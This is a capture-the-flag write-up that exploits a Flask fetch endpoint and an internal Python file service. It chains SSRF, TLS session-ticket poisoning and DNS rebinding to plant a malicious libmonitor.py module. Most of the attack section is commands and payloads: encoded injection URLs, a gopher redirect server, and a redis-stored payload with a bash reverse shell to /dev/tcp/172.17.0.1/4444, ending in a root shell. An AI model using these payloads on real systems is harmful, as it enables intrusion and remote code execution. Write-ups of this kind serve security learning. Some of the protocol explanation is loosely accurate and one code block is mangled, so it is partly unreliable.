For this CTF, we are presented with an application that we can run on a container.
File tree:
.
├── docker-compose.yml
├── Dockerfile
├── fileservice.py
├── requirements.txt
├── start.sh
└── webapp.py
1 directory, 6 files
We can check webapp.py file.
from flask import Flask,request,jsonify
import subprocess
import re
app = Flask(import_name='')
def issafeurl(url):
if "://" not in url:
return False
return url.split("://", 1)[0].lower() in ['https', 'http']
@app.route("/api/fetch", methods=['GET'])
def api_fetch():
url = request.args.get('url', None)
if url == None:
return jsonify({'status': 'error', 'msg': 'url is empty'})
if not issafeurl(url):
return jsonify({'status': 'error', 'msg': 'unsafe url'})
try:
# DevTeam: TODO: We must finish this endpoint as soon as possible and store the result somewhere!
subprocess.check_call(["curl", "-Lk", url])
except:
pass
return jsonify({'status':'success'})
This Python code is a basic Flask web application that implements an API endpoint to fetch a given URL using curl
. Here’s a step-by-step explanation of what each part of the code does:
def issafeurl(url):
if "://" not in url:
return False
return url.split("://", 1)[0].lower() in ['https', 'http']
Checks if the URL:
Contains ://
(i.e., includes a scheme like http://
or https://
)
Begins with a safe scheme (http
or https
)
This helps avoid dangerous schemes like file://
, ftp://
, or data:
.
/api/fetch
@app.route("/api/fetch", methods=['GET'])
def api_fetch():
/api/fetch
. url = request.args.get('url', None)
if url == None:
return jsonify({'status': 'error', 'msg': 'url is empty'})
Gets the url
parameter from the request.
If url
is missing, returns a JSON error response.
if not issafeurl(url):
return jsonify({'status': 'error', 'msg': 'unsafe url'})
Uses issafeurl()
to validate the scheme.
If the URL is deemed unsafe, returns an error.
curl
try:
# DevTeam: TODO: We must finish this endpoint as soon as possible and store the result somewhere!
subprocess.check_call(["curl", "-Lk", url])
except:
pass
Tries to execute a shell command: curl -Lk <url>
using subprocess.check_call
.
-L
: Follow redirects.
-k
: Ignore SSL certificate errors.
The comment indicates it’s incomplete and results are not being stored yet.
If curl
fails (e.g., bad URL or no response), the exception is caught and ignored silently.
return jsonify({'status':'success'})
curl
failed (because of the silent except
block).This Flask app does the following:
Listens on /api/fetch
.
Accepts a URL parameter (url
).
Validates that the URL uses http
or https
.
Tries to fetch the URL using curl
(but doesn’t return or store the response).
Returns {"status": "success"}
regardless of whether curl
succeeds.
Lets continue analyzing and check fileservice.py.
import threading
import socket
import os
def parse_stream(data):
cmds = data.decode(errors='ignore').split("\r\n")
results = {}
for cmd in cmds:
print(cmd)
results[cmd] = handle_cmds(cmd)
try:
# DevTeam: for some reason we need to re-import libmonitor everytime we use it otherwise it just hangs.
import libmonitor
return libmonitor.new_record(results)
except:
# DevTeam: In case we didn't find libmonitor installed.
return -1
def handle_cmds(line):
line = line.lower()
if line.startswith("mkdir"):
dirpath = line.replace("mkdir ", "")
os.mkdir(dirpath)
return f"created new dir => {dirpath}"
elif line.startswith("mkfile"):
cmd = line.replace("mkfile ", "")
path, content = cmd.split(" ", 1)
open(path, "w").write(content)
return f"created new file => {path}"
return f"unable to parse :: {line}"
def recvall(sock):
BUFF_SIZE = 4096
data = b''
try:
while True:
part = sock.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data
except Exception as e:
return data
def handle_client(client, addr):
commands = recvall(client)
parse_stream(commands)
client.close()
def main():
print("FileServer 0.1 Started!")
sock = socket.socket(socket.AF_INET)
sock.bind(("0.0.0.0", 8443))
sock.listen()
while 1:
conn, addr = sock.accept()
print(f"new connection from => {addr}")
threading.Thread(target=handle_client, args=(conn, addr)).start()
if __name__ == "__main__":
main()
This Python script implements a multithreaded TCP server called FileServer 0.1
that listens on port 8443
and performs file and directory operations based on commands it receives from connected clients.
Lets break each component, and then get the full picture.
Purpose: Listens for client connections over TCP, receives a command stream, parses it, and executes file-related commands (mkdir
, mkfile
) on the server’s filesystem.
Command Format: Strings separated by \r\n
(e.g., mkdir test\r\nmkfile file.txt Hello World
)
parse_stream(data)
def parse_stream(data):
cmds = data.decode(errors='ignore').split("\r\n")
results = {}
for cmd in cmds:
print(cmd)
results[cmd] = handle_cmds(cmd)
Input: data
is a raw byte stream from the socket.
Decoding: Converts bytes to a string, ignoring decode errors.
Splitting: Commands are split by \r\n
(carriage return + newline).
Processing: Each command is passed to handle_cmds()
, and the result is stored in a dictionary with the command as the key.
Then:
try:
import libmonitor
return libmonitor.new_record(results)
except:
return -1
Dynamic Import: Tries to import libmonitor
each time it’s called, as a workaround for some bug (as per the comment).
Fallback: If libmonitor
isn’t installed or fails to import, returns -1
.
handle_cmds(line)
def handle_cmds(line):
line = line.lower()
if line.startswith("mkdir"):
dirpath = line.replace("mkdir ", "")
os.mkdir(dirpath)
return f"created new dir => {dirpath}"
elif line.startswith("mkfile"):
cmd = line.replace("mkfile ", "")
path, content = cmd.split(" ", 1)
open(path, "w").write(content)
return f"created new file => {path}"
return f"unable to parse :: {line}"
Command parser and executor:
mkdir <dir>
: Creates a directory.
mkfile <filename> <content>
: Creates a file and writes content into it.
For anything else, it returns a message that the command wasn’t understood.
recvall(sock)
def recvall(sock):
BUFF_SIZE = 4096
data = b''
try:
while True:
part = sock.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data
except Exception as e:
return data
Purpose: Reads all incoming data from a socket until no more is available.
Loop logic: Continues reading in chunks of 4096 bytes. Breaks if received data is smaller than the buffer size (indicating the end).
handle_client(client, addr)
def handle_client(client, addr):
commands = recvall(client)
parse_stream(commands)
client.close()
Called in a new thread for each client.
Receives the command data from the client, passes it to parse_stream
, and then closes the connection.
main()
def main():
print("FileServer 0.1 Started!")
sock = socket.socket(socket.AF_INET)
sock.bind(("0.0.0.0", 8443))
sock.listen()
8443
. while 1:
conn, addr = sock.accept()
print(f"new connection from => {addr}")
threading.Thread(target=handle_client, args=(conn, addr)).start()
Infinite loop to accept new connections.
Each connection spawns a new thread running handle_client
.
Suppose a client sends:
mkdir testdir\r\nmkfile testdir/hello.txt Hello World
mkdir testdir
→ creates a folder named testdir
mkfile testdir/hello.txt Hello World
→ creates hello.txt
inside that folder with the content “Hello World”
These results may be recorded using libmonitor.new_record(...)
The application exposes a dangerous vector for Remote Code Execution through the use of a custom module: libmonitor
.
The libmonitor
library is imported dynamically inside the parse_stream()
function every time it is called. This behavior introduces a critical vulnerability:
The server executes import libmonitor
without verifying the integrity or source of the module.
It relies on the local filesystem’s Python module path to resolve the import.
Abuse the mkfile
command:
The application allows file creation on the server via the mkfile
command sent over the socket.
Plant a Malicious libmonitor.py
:
An attacker can use mkfile libmonitor.py <payload>
to create a rogue Python module in the working directory.
Trigger the Import:
Once the malicious libmonitor.py
is in place, the next call to parse_stream()
will import the attacker’s code and execute the new_record()
function—defined within the rogue module.
This effectively gives the attacker the ability to execute arbitrary Python code on the server.
We need to think of a way to reach the internal Fileservice, and inject our malicious command.
Multiple techniques were implemented, were all of them resulted in a failure.
curl 'http://localhost:4522/api/fetch?url=http://127.0.0.1:8443/foo%0amkdir%20/tmp/x%0amkfile%20/tmp/x/pwn%20owned'
{"status":"success"}
The URL passes the first check, however, results in an error in the subprocess call because CURL decoded it and resulted in an illegal URL.
curl: (3) URL using bad/illegal format or missing URL
└─$ curl 'http://localhost:4522/api/fetch?url=http%3A%2F%2F127.0.0.1%3A8443%2Ffoo%250amkdir%2520%2Ftmp%2Fx%250amkfile%2520%2Ftmp%2Fx%2Fpwn%2520owned'
{"status":"success"}
This results into reaching the fileSystem.
new connection from => ('127.0.0.1', 35248)
GET /foo%0amkdir%20/tmp/x%0amkfile%20/tmp/x/pwn%20owned HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: curl/7.68.0
Accept: */*
However, the results where not URL decoded, resulting into a wrong format.
class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header(‘Location’, ‘gopher://127.0.0.1:8443/_MKFILE libmonitor.py import os\nos.system(“id”)’) self.end_headers()
def log_message(self, format, *args):
return # Suppress logging to keep output clean
def run(server_class=HTTPServer, handler_class=RedirectHandler): server_address = (‘0.0.0.0’, 8080) # Listen on all interfaces httpd = server_class(server_address, handler_class) print(“Proxy redirect server running on port 8080…”) httpd.serve_forever()
if name == “main”: run()
Run the server and sends a curl request.
```json
└─$ curl 'http://localhost:4522/api/fetch?url=http://172.17.0.1:8080'
{"status":"success"}
However
0 0 0 0 0 0 0 0 --:--:-- 0:00:34 --:--:-- 0 % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
curl: (1) Protocol "gopher" not supported or disabled in libcurl
Multiple other techniques were tried but decided to cut it to that point and get to the actual working solution (so far).
If we check the CURL function being called
curl -Lk $url
We have used the redirect so far, however, we did not use the insecure argument. In a CTF, everything has a meaning xD. If the server is able to CURL for any URL even HTTPS ones that have a custom certificate, means that we will have to implement one. An attacks that comes in mind when abusing HTTPS and SSL is called TLS Poisoning.
TLS (Transport Layer Security) is a cryptographic protocol that ensures confidentiality, integrity, and authenticity between two communicating parties—typically a client (e.g. browser) and a server.
ClientHello:
The client initiates a connection.
Sends supported cipher suites, extensions, SNI, ALPN, and optionally a session ticket (if resuming).
ServerHello:
Server chooses cipher suite and key agreement method.
May issue a new session ticket for future session resumption.
Key Exchange & Handshake:
The client and server derive shared keys.
TLS session is now encrypted.
A session ticket is used to resume a previous session without a full handshake. It’s opaque to the client — the server creates it, encrypts it, and sends it to the client, who stores it and sends it back in a future ClientHello
via the session_ticket
extension.
In TLS 1.2, session tickets are a standalone extension.
In TLS 1.3, they are issued via the NewSessionTicket
message and reused similarly.
The key: The server cannot see the session ticket until after the handshake completes — it is encrypted as part of the TLS payload, but the client includes it in the
ClientHello
.
When a proxy or middleware (e.g., load balancer, WAF, reverse proxy) terminates or inspects TLS, it might:
Parse only the ClientHello (before TLS handshake is completed).
Ignore or pass through the raw bytes of unknown extensions like session_ticket
.
This creates an opportunity:
The attacker crafts a malicious ClientHello
.
In the session_ticket
extension, they inject arbitrary binary payload.
The proxy, unaware of the content, forwards the ClientHello
as-is to the backend server.
On the backend, the custom or vulnerable application parses the session ticket, interprets or executes the injected data.
The session ticket is the only TLS field in ClientHello
that:
Accepts arbitrary opaque binary data.
Is sent early (before encryption begins).
Is not validated or parsed by most proxies or middleboxes.
Is often trusted or processed by backend systems that implement custom TLS or internal protocols (e.g., servers expecting structured metadata in tickets).
To make it short, We can create a TLS server, let the application CURL our server, we inject the payload in the session ticket, and send it to the client. The client will have our payload in clear text in the session ticket. When he wants to authenticate to us again, he will send the session ticket, where our payload lives.
Explaining like that will make it not really useful in our scenario. However, if combined with DNS rebinding attack, we reach our goal.
DNS rebinding, in short, is an attack where a host is sent to the server with a very short TTL. When it is resolved for the first time, it points to an IP. However, due to its Time To Live( TTL), it will expire, leading to pointing to another IP.
We operate a TLS server that issues a malicious session ticket containing our payload. The client connects to our server using a crafted hostname (e.g., malicious.example.com
) that initially resolves to our server with a very short DNS TTL.
Upon the first connection:
The client receives our malicious session ticket.
After the DNS TTL expires, the crafted hostname is re-resolved—this time pointing to the internal fileservice
.
When the client attempts to resume the TLS session, it sends the ClientHello
with the injected session ticket, not to our server, but to the internal fileservice
.
Since the session ticket is included in cleartext during the handshake, we have now successfully delivered arbitrary binary data over raw TLS to an internal target that:
Accepts incoming TLS connections,
Parses or mishandles session tickets (e.g., via libmonitor.new_record()
),
And mistakenly trusts the session ticket’s content.
This technique allows us to smuggle raw TCP payloads across boundaries, bypassing proxies or firewalls, and ultimately achieve remote code execution on the internal fileservice
.
Using this tool to run the TLS server.
└─$ target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http
[2025-06-02T09:25:01Z TRACE mio::poll] registering with poller
Now we need to know where we will put our malicious payload. If we check the source code of the tool, we will see that it takes the payload from a REDIS server that stores the payload in a variable called “payload”. So we need to insert it.
└─$ redis-server
1260:C 02 Jun 2025 12:26:50.948 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1260:C 02 Jun 2025 12:26:50.949 # Redis version=7.0.15, bits=64, commit=00000000, modified=0, pid=1260, just started
1260:C 02 Jun 2025 12:26:50.949 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1260:M 02 Jun 2025 12:26:50.949 * Increased maximum number of open files to 10032 (it was originally set to 1024).
1260:M 02 Jun 2025 12:26:50.949 * monotonic clock: POSIX clock_gettime
_._
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 7.0.15 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 1260
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | https://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
1260:M 02 Jun 2025 12:26:50.949 # Server initialized
1260:M 02 Jun 2025 12:26:50.949 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1260:M 02 Jun 2025 12:26:50.957 * Loading RDB produced by version 7.0.15
1260:M 02 Jun 2025 12:26:50.957 * RDB age 2 seconds
1260:M 02 Jun 2025 12:26:50.957 * RDB memory usage when created 0.84 Mb
1260:M 02 Jun 2025 12:26:50.957 * Done loading RDB, keys loaded: 0, keys expired: 0.
1260:M 02 Jun 2025 12:26:50.958 * DB loaded from disk: 0.007 seconds
1260:M 02 Jun 2025 12:26:50.958 * Ready to accept connections
And insert the payload.
└─$ redis-cli
127.0.0.1:6379> set payload "\r\nmkfile /usr/lib/python3.8/libmonitor.py def new_record(data):__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'\");return 0\r\n"
OK
127.0.0.1:6379> get payload
"\r\nmkfile /usr/lib/python3.8/libmonitor.py def new_record(data):__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'\");return 0\r\n"
127.0.0.1:6379>
Now we need to exploit the DNS rebinding. We can use this website.
Now trigger the attack.
curl 'http://localhost:4522/api/fetch?url=https://ac110001.7f000001.rbndr.us:8443'
We can see that our TLS server is having some responses. However, there is an error.
If we check the source code of the application, we will see that it connects to redis at “redis” so we need to make it resolve it as localhost.
└─$ cat /etc/hosts
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateHosts = false
127.0.0.1 localhost
127.0.1.1 xtromera.localdomain xtromera redis
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
We wait some time and check the fileservice connections.
new connection from => ('127.0.0.1', 33562)
%!�u`J%?^@I_y} *;DXԷ;e[k?7=Fb)U/>,0̨̩̪+/$(k#'g
9 3=<5/ac110001.7f000001.rbndr.us
p/1.11
+-3&$ LYI(mRtx?PiYUe)
mkfile /usr/lib/python3.8/libmonitor.py def new_record(data):__import__('os').system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'");return 0
%c10|uE+$G;!fd4/'1�+
We can see our payload in clear text. Check the reverse shell.
└─$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55054
root@11d563d1e01b:/ctf# id
id
uid=0(root) gid=0(root) groups=0(root)
root@11d563d1e01b:/ctf#